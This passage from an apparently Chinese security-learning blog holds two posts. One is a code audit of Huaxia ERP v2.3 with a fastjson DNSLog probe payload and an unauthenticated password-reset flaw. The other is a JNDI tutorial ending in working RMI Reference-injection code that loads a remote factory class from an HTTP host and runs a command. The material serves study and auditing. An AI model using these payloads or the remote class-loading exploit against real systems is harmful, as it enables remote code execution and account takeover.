进行转换可能导致触发漏洞</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">JSON.parse</span><br><span class="line">JSON.parseObject(</span><br><span class="line">JSONObject.parseOb</span><br></pre></td></tr></table></figure><p>在项目中全局搜索</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425160731555.png" alt="image-20260425160731555"></p><p>可以搜索到很多地方</p><p>搜索<code>JSONObject.parseOb</code></p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425165413161.png" alt="image-20260425165413161"></p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425165515238.png" alt="image-20260425165515238"></p><p>根据参数名和方法名 猜测应该是搜索什么东西的时候会调用这个方法</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425165629463.png" alt="image-20260425165629463"></p><p>查看方法的调用情况 几乎所有的调用链都指向了ResourceController.getList方法</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425165748557.png" alt="image-20260425165748557"></p><p>该通过接口会获取search 然后放入parameterMap中 后续通过apiName去调用方法</p><p>那么现在简单了 随便找个list接口 然后改参数打payload即可</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425170004300.png" alt="image-20260425170004300"></p><p>点击并抓包</p><p>将数据改为</p><p>因为这个dns解析用的包是自带的 且fastjson里面的mapping中存在允许直接使用的类 所以可以直接打</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span><span class="string">&quot;java.net.Inet4Address&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;val&quot;</span><span class="punctuation">:</span><span class="string">&quot;f8bf842c.log.dnslog.pp.ua.&quot;</span><span class="comment">//dnslog地址</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425170042838.png" alt="image-20260425170042838"></p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425170144728.png" alt="image-20260425170144728"></p><p>虽然提示异常 但是成功了</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425170215095.png" alt="image-20260425170215095"></p><p>成功触发fastjson的漏洞</p><p>我们进一步利用一下</p><p>由于默认情况AutoType是false</p><p>所以绝大部分的payload都没法打 </p><p>这里先鸽鸽了。。</p><h4 id="修复建议-2"><a href="#修复建议-2" class="headerlink" title="修复建议"></a>修复建议</h4><p>提高fastjson版本 建议每次解析的时候都指定一个类</p><hr><h3 id="逻辑漏洞"><a href="#逻辑漏洞" class="headerlink" title="逻辑漏洞"></a>逻辑漏洞</h3><p>因为之前挖过洞 所以更擅长站在黑盒的角度测试逻辑漏洞</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425180451525.png" alt="image-20260425180451525"></p><p>登录框存在注册点</p><p>注册点测一波</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425180608703.png" alt="image-20260425180608703"></p><p>随便注册一下 抓包</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425180648049.png" alt="image-20260425180648049"></p><p>正常情况是200</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425180710027.png" alt="image-20260425180710027"></p><p>存在的情况会显示登录名已存在</p><p>这里就可以<strong>用户名枚举</strong>与<strong>任意用户注册</strong>了 当然这里没法垂直注册</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260425180950907.png" alt="image-20260425180950907"></p><h4 id="修复建议-3"><a href="#修复建议-3" class="headerlink" title="修复建议"></a>修复建议</h4><p>限制ip注册数量 </p><p>限制ip发包数量</p><p>增加手机验证码验证功能</p><h3 id="多处越权"><a href="#多处越权" class="headerlink" title="多处越权"></a>多处越权</h3><p>&#x2F;user&#x2F;resetPwd这个路由没有鉴权</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260427155621876.png" alt="image-20260427155621876"></p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260427155655180.png" alt="image-20260427155655180"></p><p>没有判断当前用户类型 只禁止了不让重置管理员密码 可以通过id越权修改其他用户的密码</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>第一个代审的项目 学到很多 修复的部分 还不是很熟悉修复代码要怎么写</p><p>推荐几位师傅的文章</p><p><a href="https://drun1baby.top/2022/09/30/Java-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8B%E5%8D%8E%E5%A4%8F-ERP-CMS-V2.3/">Java-代码审计之华夏-ERP-CMS-V2.3</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;最近刚开始学习代审 搞几个有洞的项目练练手&lt;/p&gt;
&lt;h2 id=&quot;华夏erp-2-3&quot;&gt;&lt;a href=&quot;#华夏erp-2-3&quot; class=&quot;headerlink&quot; title=&quot;华夏erp 2.3&quot;&gt;&lt;/a&gt;华夏erp 2.3&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;http</summary>
      
    
    
    
    <category term="代码审计" scheme="http://example.com/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="代码审计" scheme="http://example.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>JNDI</title>
    <link href="http://example.com/2026/04/01/JNDI/"/>
    <id>http://example.com/2026/04/01/JNDI/</id>
    <published>2026-04-01T11:46:20.000Z</published>
    <updated>2026-05-12T07:39:07.295Z</updated>
    
    <content type="html"><![CDATA[<h1 id="JNDI"><a href="#JNDI" class="headerlink" title="JNDI"></a>JNDI</h1><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>Java Naming Directory Interface，Java命名和目录接口，是SUN公司提供的一种标准的Java命名系统接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI可访问的现有目录及服务包括：JDBC（Java 数据库连接）、LDAP（轻型目录访问协议）、RMI（远程方法调用）、DNS（域名服务）、NIS（网络信息服务）、CORBA（公共对象请求代理系统结构）</p><h3 id="命名服务-目录服务"><a href="#命名服务-目录服务" class="headerlink" title="命名服务&#x2F;目录服务"></a>命名服务&#x2F;目录服务</h3><p>JNDI包括命名服务（Naming Service）和目录服务（Directory Service）。</p><ul><li><p>命名服务：一种通过名称来查找实际对象的服务。例如RMI中，Naming.lookup方法通过查找名称来获取远程对象的代理类</p><p>相关概念：</p><ul><li>Name：名称。要在命名系统中查找对象，需要提供对象的名称</li><li>Naming Convention：命名规范。一个命名系统中的所有名称必须遵循的语法规范。</li><li>Binding：绑定。一个名称和一个对象的关联</li><li>Reference：<strong>引用</strong>。一些命名服务系统不是直接存储对象，而是保存对象的引用。引用包含了如何访问实际对象的信息。</li><li>Address：地址。引用通常用一个或多个地址（通信端口）来表示</li><li>Context：上下文。一个上下文是一系列名称和对象的绑定的集合。一个上下文中的名称可以绑定到一个具有相同命名规范的上下文中，称之为子上下文(subcontext)。例如：在文件系统中，&#x2F;usr是一个Context，&#x2F;usr&#x2F;bin是usr的subcontext。</li><li>Naming System：命名系统。一个相同类型的上下文集合</li><li>Namespace：命名空间。一个命名系统的所有名称的集合</li><li>Atomic Name：原子名。一个简单基本结构</li><li>Compound Name：混合名。由多个原子名一起构成的名称</li><li>Composite Name：复合名称。是跨越多个命名系统的名称</li></ul></li><li><p>目录服务：是命名服务的扩展，除了提供名称和对象的关联，还允许对象具有属性。目录服务中的对象称之为目录对象，目录对象可以跟属性关联，一个目录是由相关联的目录对象组成的系统。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。</p><p>相关概念：</p><ul><li>Attribute：属性。一个目录对象可以包含属性。一个属性具有一个属性标识符和一系列属性值</li><li>Search Filter：查找过滤器。通常还提供通过目录对象的属性来查找对象的操作。这种的查找一般通过规定的表达式来表示，称之为查找过滤器。</li></ul></li></ul><hr><h2 id="简单使用"><a href="#简单使用" class="headerlink" title="简单使用"></a>简单使用</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.directory.Attributes;</span><br><span class="line"><span class="keyword">import</span> javax.naming.directory.DirContext;</span><br><span class="line"><span class="keyword">import</span> javax.naming.directory.InitialDirContext;</span><br><span class="line"><span class="keyword">import</span> java.util.Hashtable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JNDItest</span>   &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">//创建环境变量</span></span><br><span class="line"></span><br><span class="line">        <span class="type">Hashtable</span> <span class="variable">env</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Hashtable</span>();</span><br><span class="line">        <span class="comment">//设置JNDI初始化工厂类名</span></span><br><span class="line">        env.put(Context.INITIAL_CONTEXT_FACTORY,<span class="string">&quot;com.sun.jndi.dns.DnsContextFactory&quot;</span>);</span><br><span class="line">        <span class="comment">//设置jndi提供服务的uri</span></span><br><span class="line">        env.put(Context.PROVIDER_URL,<span class="string">&quot;dns://223.6.6.6/&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="comment">//创建jndi目录服务对象</span></span><br><span class="line">            <span class="type">DirContext</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialDirContext</span>(env);</span><br><span class="line"></span><br><span class="line">            <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> context.getAttributes(<span class="string">&quot;www.baidu.com&quot;</span>,<span class="keyword">new</span> <span class="title class_">String</span>[] &#123;<span class="string">&quot;A&quot;</span>&#125;);</span><br><span class="line"></span><br><span class="line">            System.out.println(obj);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2026/04/01/JNDI/image-20260331102746852.png" alt="image-20260331102746852"></p><hr><h2 id="代码分析"><a href="#代码分析" class="headerlink" title="代码分析"></a>代码分析</h2><h3 id="核心API"><a href="#核心API" class="headerlink" title="核心API"></a>核心API</h3><p><code>javax.naming.InitialContext</code></p><p><code>javax.naming.directory.InitialDirContext</code></p><p>用于初始化上下文环境</p><p><img src="/2026/04/01/JNDI/image-20260331103011683.png" alt="image-20260331103011683"></p><p>需要传入一个Hashtable</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">env.put(Context.INITIAL_CONTEXT_FACTORY,<span class="string">&quot;com.sun.jndi.dns.DnsContextFactory&quot;</span>);</span><br><span class="line">env.put(Context.PROVIDER_URL,<span class="string">&quot;dns://223.6.6.6/&quot;</span>);</span><br></pre></td></tr></table></figure><p>环境设置需要<strong>上下文工厂</strong>与<strong>URL</strong></p><p><img src="/2026/04/01/JNDI/image-20260331103232328.png" alt="image-20260331103232328"></p><p>将环境传入InitialDirContext中 完成上下文初始化</p><p>目录服务可以获取到属性名</p><p><img src="/2026/04/01/JNDI/image-20260331102746852.png" alt="image-20260331102746852"></p><p>输出了dns解析结果</p><p><strong>InitialDirContext继承于InitialContex</strong> </p><p>设置环境信息不是必须的 </p><p>也可以直接这样写 会<strong>自动的协议转换</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Context</span> <span class="variable">init</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();</span><br><span class="line"><span class="type">RMIInterface</span> <span class="variable">a</span> <span class="operator">=</span> init.lookup(<span class="string">&quot;rmi://127.0.0.1:1234/demo&quot;</span>);</span><br></pre></td></tr></table></figure><p>这样就可以直接获取到rmi的远程对象</p><p><img src="/2026/04/01/JNDI/image-20260331103921484.png" alt="image-20260331103921484"></p><p>JNDI支持这些协议 主要使用 RMI与LDAP</p><hr><p>JNDI定义了命名引用，简称引用。其大致过程是通过绑定一个引用，将引用对象存储到命名&#x2F;目录服务中，命名管理器（Naming Manager）可以将引用解析为关联的原始对象。</p><p>引用由Reference类来表示，每个Reference包含如何构造对应的对象的信息，包括<strong>引用对象的全限定类名，服务地址，以及用于创建对象的工厂类的名称和位置</strong></p><p><img src="/2026/04/01/JNDI/image-20260331105927701.png" alt="image-20260331105927701"></p><p>主要利用这个构造器</p><p><img src="/2026/04/01/JNDI/image-20260331105941144.png" alt="image-20260331105941144"></p><p>className:类名 如果本地找不到会去根据factoryLocation提供的<strong>URL去下载对应的.class文件</strong> 并<strong>自动加载</strong></p><p>factory:工厂类的名字 一般我们提供的类已经引用了这个工厂类 </p><p>factoryLocation:工厂类的URL 可以是file:&#x2F;&#x2F;、ftp:&#x2F;&#x2F;、http:&#x2F;&#x2F;等协议</p><hr><h3 id="初始化"><a href="#初始化" class="headerlink" title="初始化"></a>初始化</h3><p>跟进一手这个无参初始化</p><p><img src="/2026/04/01/JNDI/image-20260331110338216.png" alt="image-20260331110338216"></p><p><img src="/2026/04/01/JNDI/image-20260331111652383.png" alt="image-20260331111652383"></p><p>进入到init </p><p><img src="/2026/04/01/JNDI/image-20260331111734302.png" alt="image-20260331111734302"></p><p>进入到getInitialEnvironment</p><p><img src="/2026/04/01/JNDI/image-20260331111841336.png" alt="image-20260331111841336"></p><p><img src="/2026/04/01/JNDI/image-20260331112109044.png" alt="image-20260331112109044"></p><p>函数内部就是获取环境变量信息 但是因为我们没有填入所以都是null</p><p><img src="/2026/04/01/JNDI/image-20260331112425978.png" alt="image-20260331112425978"></p><p><img src="/2026/04/01/JNDI/image-20260331112219092.png" alt="image-20260331112219092"></p><p>最终就返回了initialContext对象 无参构造器主要通过后面的lookup去动态配置环境信息</p><h3 id="查找对象"><a href="#查找对象" class="headerlink" title="查找对象"></a>查找对象</h3><p>重点关注这个lookup</p><p><img src="/2026/04/01/JNDI/image-20260331113713213.png" alt="image-20260331113713213"></p><p><img src="/2026/04/01/JNDI/image-20260331113724238.png" alt="image-20260331113724238"></p><p>进入getURLOrDefaultInitCtx</p><p><img src="/2026/04/01/JNDI/image-20260331113755577.png" alt="image-20260331113755577"></p><p>进入到hasInitialContextFactoryBuilder</p><p><img src="/2026/04/01/JNDI/image-20260331114008364.png" alt="image-20260331114008364"></p><p>由于没有初始化上下文工厂所以为null</p><p>最后返回的是False</p><p>跳过了第一个if判断</p><p><img src="/2026/04/01/JNDI/image-20260331114059181.png" alt="image-20260331114059181"></p><p>进入getURLScheme函数</p><p><img src="/2026/04/01/JNDI/image-20260331142359545.png" alt="image-20260331142359545"></p><p><img src="/2026/04/01/JNDI/image-20260331142447326.png" alt="image-20260331142447326"></p><p>返回协议类型</p><p>进入到NamingManager.getURLContext</p><p><img src="/2026/04/01/JNDI/image-20260331142515335.png" alt="image-20260331142515335"></p><p>根据刚刚的协议返回rmiurlcontext</p><p><img src="/2026/04/01/JNDI/image-20260331142700667.png" alt="image-20260331142700667"></p><p>回到lookup 进入getRootURLContext</p><p><img src="/2026/04/01/JNDI/image-20260331142848700.png" alt="image-20260331142848700"></p><p>进入到RegistryContext</p><p><img src="/2026/04/01/JNDI/image-20260331143051370.png" alt="image-20260331143051370"></p><p>进入getRegistry</p><p><img src="/2026/04/01/JNDI/image-20260331143236108.png" alt="image-20260331143236108"></p><p>会去查找rmi的注册中心并返回</p><p><img src="/2026/04/01/JNDI/image-20260331143304193.png" alt="image-20260331143304193"></p><p>后面通过createproxy创建一个registImpl_stub返回回去 和rmi查找注册中心一样</p><p><img src="/2026/04/01/JNDI/image-20260331143417720.png" alt="image-20260331143417720"></p><p><img src="/2026/04/01/JNDI/image-20260331143635105.png" alt="image-20260331143635105"></p><p>配置注册中心上下文</p><p><img src="/2026/04/01/JNDI/image-20260331143711958.png" alt="image-20260331143711958"></p><p>注册中心上下文搞好了 开始进入ResolveResult</p><p>var15是注册中心上下文 var13是远程对象的名字</p><p><img src="/2026/04/01/JNDI/image-20260331143817955.png" alt="image-20260331143817955"></p><p>进入构造器 跟进setRemainingName</p><p><img src="/2026/04/01/JNDI/image-20260331143902052.png" alt="image-20260331143902052"></p><p>这里将远程对象的名字赋给 remainingName</p><p><img src="/2026/04/01/JNDI/image-20260331144015770.png" alt="image-20260331144015770"></p><p>回到lookup 进入getResolvedObj</p><p><img src="/2026/04/01/JNDI/image-20260331144051292.png" alt="image-20260331144051292"></p><p>就是把刚刚的注册中心上下文赋给它</p><p>进入注册中心上下文的lookup</p><p><img src="/2026/04/01/JNDI/image-20260331144111965.png" alt="image-20260331144111965"></p><p><img src="/2026/04/01/JNDI/image-20260331144211211.png" alt="image-20260331144211211"></p><p>开始调用registryImpl_stub的lookup和rmi的一样</p><p>后续也是new一个RemoteCall 然后开始请求 </p><p>最终也是收到一个动态代理对象</p><p><img src="/2026/04/01/JNDI/image-20260331144545356.png" alt="image-20260331144545356"></p><hr><h3 id="Reference对象的利用"><a href="#Reference对象的利用" class="headerlink" title="Reference对象的利用"></a>Reference对象的利用</h3><p>由于JNDI引入了Reference对象 我们可以利用这个让lookup对象的那一端自动的下载并加载类</p><p>但是RMI中并没有Reference对象 需要使用ReferenceWrapper包装器 将一个Reference对象包装一下可以绑定在注册中心上</p><p>看看ReferenceWrapper类</p><p><img src="/2026/04/01/JNDI/image-20260331145247912.png" alt="image-20260331145247912"></p><p><img src="/2026/04/01/JNDI/image-20260331145314118.png" alt="image-20260331145314118"></p><p>ReferenceWrapper类继承自RemoteReference接口 -&gt; RemoteReference接口又继承了Remote接口</p><p>通过ReferenceWrapper包装的Reference对象自然也就继承Remote接口 此时就可以绑定在注册中心上</p><p>跟进一手lookup </p><p><img src="/2026/04/01/JNDI/image-20260402113004812.png" alt="image-20260402113004812"></p><p>我们先跳过前面部分 </p><p>直接到<strong>RegistryContext的lookup</strong>中看看</p><p>var2会获得RegistryImpl_stub.lookup()查找的对象</p><p>这里就是我们设置的ReferenceWrapper_Stub对象</p><p><img src="/2026/04/01/JNDI/image-20260402112555460.png" alt="image-20260402112555460"></p><p>之后就要开始通过这个 ReferenceWrapper_Stub -&gt; Reference -&gt; 恶意对象</p><p>跟进decodeObject()</p><p><img src="/2026/04/01/JNDI/image-20260402113102563.png" alt="image-20260402113102563"></p><p>检测是否是RemoteReference</p><p>如果是就会获取其中的Reference对象</p><p><img src="/2026/04/01/JNDI/image-20260402113146244.png" alt="image-20260402113146244"></p><p>这里会调用super.ref.invok 猜测就是根据Reference对象中包装好的工厂类地址去下载这个工厂类对象</p><p><img src="/2026/04/01/JNDI/image-20260402113629691.png" alt="image-20260402113629691"></p><p>到了这里 var11已经就是Reference对象了 </p><p>跟进unmarshalValue</p><p><img src="/2026/04/01/JNDI/image-20260402113836164.png" alt="image-20260402113836164"></p><p>通过readObject 可以得到最终的Reference对象中的信息</p><p><img src="/2026/04/01/JNDI/image-20260402113926578.png" alt="image-20260402113926578"></p><p>回到decodeObject</p><p><img src="/2026/04/01/JNDI/image-20260402114018032.png" alt="image-20260402114018032"></p><p>注意一下<strong>NamingManager.getObjectInstance</strong></p><p><img src="/2026/04/01/JNDI/image-20260402114229466.png" alt="image-20260402114229466"></p><p>上面会有一些列的检测 到了这里就开始获取工厂类了</p><p>跟进<strong>getObjectFactoryFromReference()</strong></p><p><img src="/2026/04/01/JNDI/image-20260402114458897.png" alt="image-20260402114458897"></p><p>通过刚刚获得的工厂类名 开始加载工厂类了</p><p><img src="/2026/04/01/JNDI/image-20260402114905401.png" alt="image-20260402114905401"></p><p>最终clas返回null</p><p>是因为这里的loadclass 是尝试加载本地的类 而且codebase也没填入 显然本地是没有的 所以得通过<strong>其他的类加载器</strong>去加载</p><p>通过调用ref.getFactoryClassLocation() 获取我们设置的工厂类的url</p><p><img src="/2026/04/01/JNDI/image-20260402115041612.png" alt="image-20260402115041612"></p><p><img src="/2026/04/01/JNDI/image-20260402115256083.png" alt="image-20260402115256083"></p><p>跟进一下下面的loadClass</p><p><img src="/2026/04/01/JNDI/image-20260402115456823.png" alt="image-20260402115456823"></p><p>这里的构造器 就是直接使用URLClassLoader类加载器</p><p>获取URLClassLoader实例 也把刚刚的codebase塞进去了</p><p>最后来到这个本地forName0</p><p><img src="/2026/04/01/JNDI/image-20260402115613648.png" alt="image-20260402115613648"></p><p>调用完之后就成功下载并加载我们的恶意类了</p><p><img src="/2026/04/01/JNDI/image-20260402115736649.png" alt="image-20260402115736649"></p><p>栈帧中可以看到加载的Calc 与 http请求的响应信息</p><p>之后就是成功触发</p><p>也关注一下http服务的情况</p><h3 id="利用代码"><a href="#利用代码" class="headerlink" title="利用代码"></a>利用代码</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.InitialContext;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JNDIclient</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            System.setProperty(<span class="string">&quot;com.sun.jndi.rmi.object.trustURLCodebase&quot;</span>, <span class="string">&quot;true&quot;</span>);</span><br><span class="line">            <span class="type">Context</span> <span class="variable">context</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();</span><br><span class="line"></span><br><span class="line">            <span class="type">Object</span> <span class="variable">a</span> <span class="operator">=</span> context.lookup(<span class="string">&quot;rmi://10.68.0.136:1234/demo&quot;</span>);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.jndi.rmi.registry.ReferenceWrapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.Registry;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RmiServer</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">String</span>  <span class="variable">RmiHost</span> <span class="operator">=</span> <span class="string">&quot;10.68.0.136&quot;</span>;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">int</span>  <span class="variable">RmiPort</span> <span class="operator">=</span> <span class="number">1234</span>;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">String</span> <span class="variable">RmiUrl</span> <span class="operator">=</span> <span class="string">&quot;rmi://&quot;</span> + RmiHost + <span class="string">&quot;:&quot;</span> + RmiPort + <span class="string">&quot;/demo&quot;</span>;</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line">            <span class="type">Registry</span> <span class="variable">r</span> <span class="operator">=</span> LocateRegistry.createRegistry(RmiPort);</span><br><span class="line"></span><br><span class="line">            <span class="type">String</span> <span class="variable">classname</span> <span class="operator">=</span> <span class="string">&quot;eval&quot;</span>;</span><br><span class="line">            <span class="type">String</span> <span class="variable">factory</span> <span class="operator">=</span> <span class="string">&quot;eval&quot;</span>;</span><br><span class="line">            <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">&quot;http://10.68.0.136:8000/&quot;</span>;</span><br><span class="line"></span><br><span class="line">            <span class="type">Reference</span> <span class="variable">reference</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Reference</span>(classname,factory,url);</span><br><span class="line"></span><br><span class="line">            <span class="type">ReferenceWrapper</span> <span class="variable">wrapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReferenceWrapper</span>(reference);</span><br><span class="line"></span><br><span class="line">            <span class="comment">//RmiInterfaceImpl rmiInterfaceimpl = new RmiInterfaceImpl();</span></span><br><span class="line"></span><br><span class="line">            Naming.bind(RmiUrl,wrapper);</span><br><span class="line"></span><br><span class="line">            System.out.println(<span class="string">&quot;RMI服务正在启动&quot;</span>);</span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Name;</span><br><span class="line"><span class="keyword">import</span> javax.naming.spi.ObjectFactory;</span><br><span class="line"><span class="keyword">import</span> java.util.Hashtable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">eval</span> <span class="keyword">implements</span> <span class="title class_">ObjectFactory</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">getObjectInstance</span><span class="params">(Object obj, Name name, Context nameCtx,</span></span><br><span class="line"><span class="params">                                    Hashtable&lt;?,?&gt; environment)</span></span><br><span class="line">            <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="keyword">return</span> Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><hr><p>LADP + JNDI</p><p>LDAP也支持Reference</p><p>引用这位师傅的代码</p><p><a 